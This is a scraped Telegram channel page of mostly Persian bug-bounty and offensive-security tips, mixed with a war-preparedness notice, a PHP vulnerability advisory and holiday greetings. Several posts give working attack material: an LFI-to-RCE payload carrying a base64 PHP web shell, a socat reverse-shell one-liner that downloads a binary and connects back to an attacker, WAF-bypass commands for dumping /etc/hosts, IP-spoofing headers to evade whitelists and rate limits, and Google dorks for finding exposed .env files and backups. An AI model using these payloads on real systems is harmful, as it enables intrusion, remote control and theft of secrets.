Try Hack Box
7.31K subscribers
753 photos
81 videos
144 files
770 links
1 Nov 2020
1399/08/11


🔴 THB | Offensive Security

آموزش، تحقیق و تجربه عملی در امنیت تهاجمی

Penetration Testing · Red Teaming · AI Security

🎯 یاد بگیر. آزمایش کن. حرفه‌ای شو.
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
🔥 امروز، ۱۶ مهر، روز بزرگداشت داریوش بزرگ است؛ پادشاهی که امپراتوری هخامنشی را به اوج قدرت، نظم و گستردگی رساند و تخت جمشید را بنیان نهاد، یادبود مردی که نامش برای همیشه با شکوه تمدن ایران گره خورده است

@TryHackBox
🔥15❤4
🔥 با تکنیک‌ های killer که بیشتر باگ هانترها ازشون غافلن.

IP Spoofing Headers برای Bypass و Testing:

X-Forwarded-For: 127.0.0.1
📌 توسط proxyها/load balancerها trusted میشه
X-Real-IP: 127.0.0.1
📌 رایج در setupهای NGINX
X-Client-IP: 127.0.0.1
📌 برای rate limiting/tracking استفاده میشه
X-Remote-IP: 127.0.0.1
📌 ممکنه روی backend logic تاثیر بذاره
X-Remote-Addr: 127.0.0.1
📌 سعی میکنه remote IP رو override کنه
True-Client-IP: 127.0.0.1
📌 توسط CDNها (مثل Akamai) استفاده میشه
CF-Connecting-IP: 127.0.0.1
📌 Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
📌 Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
📌 در محیط‌های clustered دیده میشه
Forwarded: for=127.0.0.1
📌 نسخه RFC standard از XFF
X-Originating-IP: 127.0.0.1
📌 توسط mail serverها و legacy appها استفاده میشه
X-Forwarded-Host: 127.0.0.1
📌 میتونه روی virtual host routing تاثیر بذاره
X-Forwarded-Server: 127.0.0.1
📌 backend routing logic
X-Real-Hostname: localhost
📌 سعی میکنه internal host رو spoof کنه
Via: 127.0.0.1
📌 ممکنه در proxy chainها ظاهر بشه
Forwarded-For: 127.0.0.1
📌 non-standard اما در wild دیده میشه
Proxy-Client-IP: 127.0.0.1
📌 سرورهای Java-based (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
📌 WebLogic-specific header

استفاده: Bypass IP whitelisting، rate limitها، geo-blockها، SSRF filterها یا trigger internal behavior. چندتاشون رو combine کن برای نتایج بهتر در black-box testing.

کدوم header spoofing رو با 127.0.0.1 تست کردی که rate limit رو دور زد و bounty داد؟ تجربت رو کامنت کن.



@TryHackBox
#باگ_بانتی
❤6
🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن.

🔥 ۲. ابزارها بدون دانش core هیچی نیستن.

🔥 ۳. دنبال کردن باگ‌ های basic تو رو elite نمیکنه.

ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی‌ ها رو.

🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن.

کدوم نکته‌ش برات جالب‌ تر بود ؟



@TryHackBox
#باگ_بانتی
❤14
🧠 نکته باگ بانتی حملات Denial of Wallet 💸

شنیدی Denial of Service رو... اما Denial of Wallet چی؟

🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.

🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.

💥 تارگت‌های رایج در برنامه‌های باگ بانتی:

Cloud Functions (مثل AWS Lambda، Azure Functions) 
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.

Email/SMS APIs 
مثال: feature signup/login OTP via Twilio یا SendGrid می‌ فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.

AI Chatbots (مثل OpenAI، Claude APIs) 
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.

💡 الهام واقعی از دنیای واقعی 
طبق مقاله PortSwigger:

"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."

تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.

🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:

⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت‌ های abuse email/SMS OTP یا notification

✅ نکته‌ها قبل از Report:

⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap

💰 این باگ‌ها اغلب plain sight مخفی‌ ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.

کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.


@TryHackBox
#باگ_بانتی
❤8
Try Hack Box
در این شرایط بحرانی، حفظ امنیت و سلامت خود و خانواده ‌تان از اهمیت ویژه ‌ای برخوردار است. لطفاً به دقت مراقب یکدیگر باشید و اقلام ضروری را تهیه کنید. • ذخیره مواد غذایی خشک و غیرپرمصرف: حداقل یک هفته. • آب آشامیدنی: سازمان ‌های امدادی معمولاً 2–3 لیتر به…
⚠️ موج بعدی جنگ به زودی شروع میشه .

نوشتن این پیام برای من خوشایند نیست، اما با توجه به شرایط موجود، احتمال شروع دور جدیدی از درگیری‌ ها را نمیتوان نادیده گرفت. این موضوع به معنای پیش‌ بینی قطعی نیست؛ بااین‌ حال، ترجیح میدهم از همین حالا برای شرایط احتمالی آماده باشیم، نه اینکه در لحظه بحران به فکر چاره بیفتیم.

از همه اعضای TryHackBox میخواهم چند اقدام مشخص را جدی بگیرند:

۱. ارتباط و دسترسی به اینترنت


راه‌ های جایگزین ارتباط با اعضای خانواده و افراد ضروری را مشخص کنید.

شماره تلفن‌ های مهم را خارج از گوشی نیز یادداشت کنید.

اگر فعالیت یا ارتباطات شما به اینترنت وابسته است، برای قطعی یا اختلال طولانی‌ مدت برنامه جایگزین داشته باشید.

۲. امنیت اطلاعات و دارایی‌ های دیجیتال


از فایل‌ ها، اسناد و اطلاعات مهم خود نسخه پشتیبان تهیه کنید.

نسخه پشتیبان را در محلی امن و جدا از دستگاه اصلی نگه دارید.

دسترسی به حساب‌ های مهم، ایمیل بازیابی و روش‌ های احراز هویت دومرحله‌ای را بررسی کنید.

مراقب اخبار تأیید نشده باشید.

۳. آمادگی‌ های ضروری در منزل


آب آشامیدنی، مواد غذایی ماندگار، داروهای ضروری و لوازم کمک‌ های اولیه را برای چند روز در دسترس داشته باشید.

چراغ‌ قوه، باتری یا پاوربانک شارژ شده آماده کنید.

مدارک هویتی، نسخه داروها، مقداری پول نقد و شماره‌های اضطراری را در دسترس قرار دهید.

۴. برنامه‌ ریزی برای شرایط اضطراری


با اعضای خانواده درباره محل ملاقات و روش تماس در صورت قطع ارتباط توافق کنید.

مسیرهای خروج و مکان‌ های امن نزدیک محل زندگی یا کار را بشناسید.

۵. مدیریت اخبار و تصمیم‌ ها


خبرها را از چند منبع معتبر بررسی کنید و شایعات را بازنشر نکنید.

تصمیم‌ های مهم را صرفاً بر اساس پیام‌ های ناشناس یا پیش‌بینی‌ های تأییدنشده نگیرید.

اگر برای کار یا فعالیت‌ های روزمره به زیرساخت‌ های آنلاین وابسته‌اید، برای وقفه احتمالی از قبل برنامه داشته باشید.

این موارد برای ایجاد ترس نیست؛ هدف این است که اگر شرایط تغییر کرد، تصمیم‌ های ضروری را با آرامش و آمادگی بیشتری بگیریم.

هیچ‌ کس نمیتواند با قطعیت بگوید چه اتفاقی خواهد افتاد؛ اما هرکدام از ما میتوانیم آمادگی خود را بیشتر کنیم.

مراقب خودتان و عزیزانتان باشید.

— TryHackBox
❤4😢2
🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡

LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:

مثال param vulnerable: 

page=../../../../etc/passwd


حالا PHP shellت رو با base64 encoding بساز: 
echo '<?php system($_GET["cmd"]);?>' | base64

نتیجه رو می‌گیری: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

URL-encodeش کن: 
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D

Payload نهایی (با data:// wrapper): 
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id 
BOOM! Remote Code Execution. 💥

من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.

کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن



@TryHackBox
#باگ_بانتی
❤4👍1🤔1
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡ سری Bash برای باگ هانترها

قسمت ۲

چندین folder رو با one-liner بساز: 
mkdir {dev,test,prod}

این command همزمان ۳ directory (dev، test، prod) میسازه.

ایجاد چندین File به طور Efficient: 
touch {file1,file2,file3}.txt

Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن.

تولید Fileها با Numeric Sequences: 
seq -w 1 10 | xargs -I {} touch file{}.txt

این sequence fileهایی مثل: 
file01.txt، file02.txt، file03.txt.... تا file10.txt می‌سازه.

با pro Bash commandها bug huntingت رو boost کن must برای هر hacker! 
فراموش نکن react کن 🔥



@TryHackBox
#باگ_بانتی
🔥9❤2
یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی. 
اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن.

۱. Exposed.env Files 
   intitle:"Index of" ".env" 
   "DB_PASSWORD" filetype:env 
   "APP_ENV=local" | "DB_HOST=127.0.0.1"

۲. Exposed SQLite Databases 
   intitle:"Index of" ".sqlite" 
   intitle:"Index of" "db.sqlite" 
   filetype:sqlite | filetype:sqlite3 | filetype:db

۳. Misconfigured Laravel یا Public Folder Exposure 
   inurl:/public/.env 
   inurl:/public/db.sqlite 
   intitle:"Index of" inurl:/public/

۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive) 
   intitle:"Index of" "backup" 
   intitle:"Index of" "config" 
   ext:sql | ext:bak | ext:old | ext:backup

۵. Generic Index Dump 
   intitle:"Index of /" +passwd 
   intitle:"Index of /" +passwords

قبل از استفاده از این dorkها، scopeت رو با site:target.com narrow down کن، بعد dork خاص رو apply کن تا فقط روی تارگتت focus کنی.

کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن


@TryHackBox
#باگ_بانتی
👍3
ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود

تصور کنید یک آسیب‌ پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش‌ ها برای سوءاستفاده از آن به راه می‌ افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به‌ روزرسانی‌ ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه‌ های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده‌ اند. در این گزارش، امتیاز شدت هر دو آسیب‌ پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش‌ ها برای exploitation از آن‌ ها صحبت شده است.

توجه: پیش از استناد به شناسه‌ ها، امتیاز ها، آمار حملات و نسخه‌ های اصلاح‌ شده، اطلاعیه‌ های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.

🔍 مشکل دقیقاً چیست؟

بر اساس اطلاعات گزارش‌ شده، این دو آسیب‌ پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می‌ تواند زمینه‌ ساز رفتار غیرمنتظره یا اجرای حمله شود.

خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف‌ ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن‌ ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.

🎯 چه کسانی باید نگران باشند؟

اگر سرور یا وب‌ سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط‌ های زیر اهمیت داشته باشد:

Apache با mod_php

Nginx با PHP-FPM

LiteSpeed و FrankenPHP

وب‌سایت‌ های WordPress و سایر برنامه‌ های مبتنی بر PHP

البته استفاده از این فناوری‌ ها به‌ تنهایی به معنای آسیب‌ پذیر بودن سرور نیست؛

🛡️ چه کارهایی باید انجام دهید؟

۱. نسخه PHP را بررسی کنید.
php -v 

این دستور نسخه PHP در محیط CLI را نشان میدهد. اگر برنامه شما از PHP-FPM یا سرویس دیگری استفاده میکند، نسخه واقعی مورد استفاده وب‌ سرور را هم بررسی کنید.

۲. وضعیت پچ امنیتی را مشخص کنید.
اطلاعیه رسمی PHP را بررسی کنید و در صورت قرار داشتن نسخه شما در محدوده آسیب‌پذیر، به نسخه اصلاح‌ شده و پشتیبانی‌ شده ارتقا دهید. شماره نسخه‌ های اعلام‌ شده در گزارش‌ های غیررسمی را بدون تطبیق با منابع اصلی مبنا قرار ندهید.

۳. اگر فعلاً امکان به‌ روزرسانی ندارید، سطح دسترسی را محدود کنید.
بسته به شرایط، محدود کردن دسترسی از اینترنت یا غیرفعال‌ کردن موقت سرویس می‌ تواند ریسک را کاهش دهد.

۴. به WAF اکتفا نکنید.
قواعد WAF و قابلیت‌ های امنیتی CDN ممکن است بخشی از درخواست‌ های مخرب را مسدود کنند، اما جای پچ امنیتی را نمیگیرند.

۵. اگر احتمال میدهید سرور هدف حمله قرار گرفته، فقط به به‌روزرسانی بسنده نکنید.
لاگ‌ های وب‌ سرور، فرایندهای غیرعادی، ارتباطات خروجی و احتمال دسترسی به اطلاعات حساس را بررسی کنید. اگر نشانه‌ای از نفوذ پیدا شد، موضوع را به‌ عنوان یک رخداد امنیتی جدی پیگیری کنید.

💡 نکته‌ای که نباید فراموش کنیم

برای یک متخصص تست نفوذ، بررسی نسخه نرم‌افزار فقط نقطه شروع است. باید مشخص شود آسیب‌ پذیری تحت چه شرایطی قابل بهره‌برداری است، در صورت موفقیت چه سطح دسترسی‌ ای به دست می‌ آید و چه دارایی‌ هایی ممکن است در معرض خطر قرار بگیرند.
از طرف دیگر، برای تیم‌ های دفاعی، سرعت واکنش اهمیت زیادی دارد. هرچه فاصله انتشار آسیب‌ پذیری تا در دسترس قرار گرفتن روش‌ های exploitation کمتر شود، فرصت بیشتری برای مهاجمان و زمان کمتری برای تیم‌ های امنیتی باقی میماند.

اگر مسئول نگهداری یک سرور هستید، بررسی پچ های امنیتی را به زمان دیگری موکول نکنید. اگر هم در مسیر یادگیری تست نفوذ هستید، این رخدادها فرصت خوبی‌ اند تا ارتباط میان آسیب‌پذیری، exploitation و پیامدهای واقعی آن را بهتر بشناسید.

- TryHackBox
@TryHackBox
❤4👍2
دوستانی که علاقه مندان به تدریس دوره های پایه مقدماتی در زمینه امنیت سایبری و شبکه و لینوکس هستند و از جمله دوره های اوسینت با ایدی زیر با ما در تماس باشید :

@ThbxSupport
🔥 سری Bypass برای باگ هانترها

قسمت ۲ 
Crazy WAF Bypass: 
cat /etc/hosts - WAF رو trigger میکنه

xxd -p /etc/hosts | xxd -p -r  
xargs -d '\n' -I{} echo {} < /etc/hosts 
perl -pe '' /etc/hosts 
sed '' /etc/hosts 
awk '{print}' /etc/hosts 
dd if=/etc/hosts 2>/dev/null


کدوم پیلود از قسمت 2 (مثل xxd pipe یا awk print) رو برای WAF bypass تست کردی که file رو dump کرد و bounty شد؟ تجربت رو کامنت کن.

کدوم یکی رو اول تست میکنی یا منتظر قسمت بعدی هستی؟


@TryHackBox
#باگ_بانتی
🔥6
Forwarded from 
نکات تخصصی ردتیمینگ | بخش اول: Password Spraying

در حمله‌ی Password Spraying، به‌جای اینکه چندین پسورد مختلف رو روی یک حساب امتحان کنیم، چند پسورد رایج رو روی تعداد زیادی حساب تست می‌کنیم. هدف اینه که ببینیم آیا می ‌شه با استفاده از رمزهای قابل ‌حدس، به یکی از حساب ‌های سازمان دسترسی پیدا کرد یا نه.

چند نکته که موقع بررسی این تکنیک باید بهشون توجه کنیم:

۱. انتخاب هدف
همه ‌ی حساب ‌ها به یک اندازه مهم نیستن. حساب ‌هایی که دسترسی بیشتری دارن یا به اطلاعات حساس وصل هستن، از نظر امنیتی اهمیت بالاتری دارن.

۲. بررسی الگوهای رمز عبور
رمزهای رایج، پسوردهای پیش ‌فرض و رمزهایی که بر اساس اسم سازمان یا اطلاعات عمومی انتخاب میشن ، میتونن امنیت حساب ‌ها رو به خطر بندازن. شناخت این الگوها کمک می ‌کنه نقاط ضعف احتمالی رو بهتر بررسی کنیم.

۳. شناسایی حساب ‌های معتبر
باید بدونیم چه حساب ‌هایی در محدوده‌ی تست قرار دارن و سامانه در برابر نام کاربری معتبر و نامعتبر چه واکنشی نشون میده. این بررسی می‌ تونه اطلاعات مفیدی درباره ‌ی نحوه ‌ی پیاده ‌سازی احراز هویت در اختیارمون بذاره.

۴. زمان ‌بندی تست
زمان اجرای تست میتونه روی نحوه‌ی شناسایی فعالیت ‌ها تأثیر بذاره. بهتره زمان‌ بندی از قبل مشخص باشه تا هم شرایط واقعی سازمان در نظر گرفته بشه و هم تست باعث اختلال در سرویس ‌ها نشه.

۵. بررسی آدرس IP و منابع اتصال
تغییر آدرس IP لزوماً باعث مخفی موندن فعالیت نمیشه. تیم دفاعی میتونه رویدادهای ورود رو از منابع مختلف کنار هم قرار بده و با بررسی الگوهای مشترک، فعالیت مشکوک رو تشخیص بده.

۶. فاصله ‌ی بین تلاش ‌های ورود
تعداد درخواست ‌ها و فاصله‌ی زمانی بین اون ‌ها میتونه روی عملکرد مکانیزم ‌های دفاعی تأثیر بذاره. در تست نفوذ باید بررسی کنیم که سامانه چطور درخواست ‌های پرتکرار رو مدیریت می ‌کنه و آیا فعالیت‌ های مشکوک به ‌درستی ثبت میشن یا نه.

۷. بررسی سیاست قفل حساب
باید بدونیم بعد از چند تلاش ناموفق، حساب محدود یا قفل میشه و این محدودیت چه مدت ادامه داره. تنظیم نادرست این سیاست میتونه هم امنیت حساب‌ ها رو کاهش بده و هم زمینه‌ ی اختلال در دسترسی کاربران رو فراهم کنه.

۸. توجه به حساب‌های حساس و دارای دسترسی بالا
حساب‌ های ادمین و حساب‌ هایی که دسترسی ویژه دارن، اهمیت بیشتری دارن؛ چون در صورت دسترسی غیرمجاز، پیامدهای جدی‌ تری برای سازمان ایجاد میکنن. بررسی این حساب‌ ها باید با مجوز مشخص و کنترل کافی انجام بشه.

یه نکته‌ ی مهم: در Password Spraying فقط بحث این نیست که آیا یک پسورد جواب میده یا نه. باید ببینیم سامانه چقدر خوب از حساب‌ ها محافظت میکنه، چه اطلاعاتی در لاگ‌ها ثبت میشه و تیم بلوتیم چقدر توانایی تشخیص این نوع فعالیت رو داره.

یک ردتیمر خوب فقط به اجرای تکنیک فکر نمیکنه؛ باید بدونه فعالیتش چه ردپایی باقی میذاره و تیم دفاعی چطور میتونه اون رو شناسایی کنه.

✍ کاوه.م
@KavehOffSec
#تست_نفوذ #ردتیمینگ #تیم_قرمز
👍6
⚡لیستی از ۱۰۰ آسیب‌ پذیری وب

@TryHackBox
#آسیب_پذیری
🔥9
This media is not supported in your browser
VIEW IN TELEGRAM
روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد.

۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی‌ پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران


@TryHackBox
🔥15❤7👎7🙏1
🔥 سری Bash برای باگ هانترها

قسمت ۲ 
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن: 
rlwrap -cAr nc -lvnp <port>  
یا 
rlwrap -f. -r nc -lnvp <port>

حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).

برای full interactive keyboard controls، از socat interactive shell استفاده کن:

در سمت attacker: 
socat file:tty,raw,echo=0 tcp-listen:<port>  

اگر error داد، امتحان کن: 
socat file:$(tty),raw,echo=0 tcp-listen:<port>

در سمت victim (برای full TTY reverse shell): 
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن: 
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

برای stop کردن socat: 
ps aux | grep socat  
Kill -9 socat <PID>

نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.

کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟



@TryHackBox
#باگ_بانتی
❤6
دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست .

کانال ما در بله

https://ble.ir/TryHackBox
❤12👎1
Python for Pentesters - s.pdf
234.3 KB
📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters

مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می ‌کند.

هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است.

نحوه همکاری:

همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه‌ های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می ‌شود.

🎯 اگر در این حوزه تجربه عملی و تخصص کافی دارید و علاقه ‌مند به همکاری در تولید یک دوره تخصصی و پروژه‌ محور هستید، رزومه یا معرفی کوتاهی از سوابق خود را برای ما ارسال کنید.

📌 سرفصل ها دوره در فایل موجود است .


📩 جهت اعلام آمادگی و دریافت اطلاعات بیشتر، از طریق پیام خصوصی با ما در ارتباط باشید:

@THBxSupport
🔥 سری Bypass برای باگ هانترها

قسمت ۴ 

Crazy WAF Bypass:  
cat /etc/hosts - WAF رو trigger میکنه

rev /etc/hosts | rev 
od -An -c /etc/hosts | tr -d ' ' 
cat $HOME/../../etc/hosts 
cat ${PWD}/../../../etc/hosts 
grep "" /etc/hosts 
cut -c1- /etc/hosts 
paste /etc/hosts

بچه‌ ها، در مورد این تکنیک‌ های WAF bypass که ساختم چی فکر میکنین؟ 
صبر کنین برای آخرین قسمت واقعا عالیه!
کدوم یکی رو اول امتحان میکنی یا آماده قسمت آخر هستی؟



@TryHackBox
#باگ_بانتی
❤‍🔥7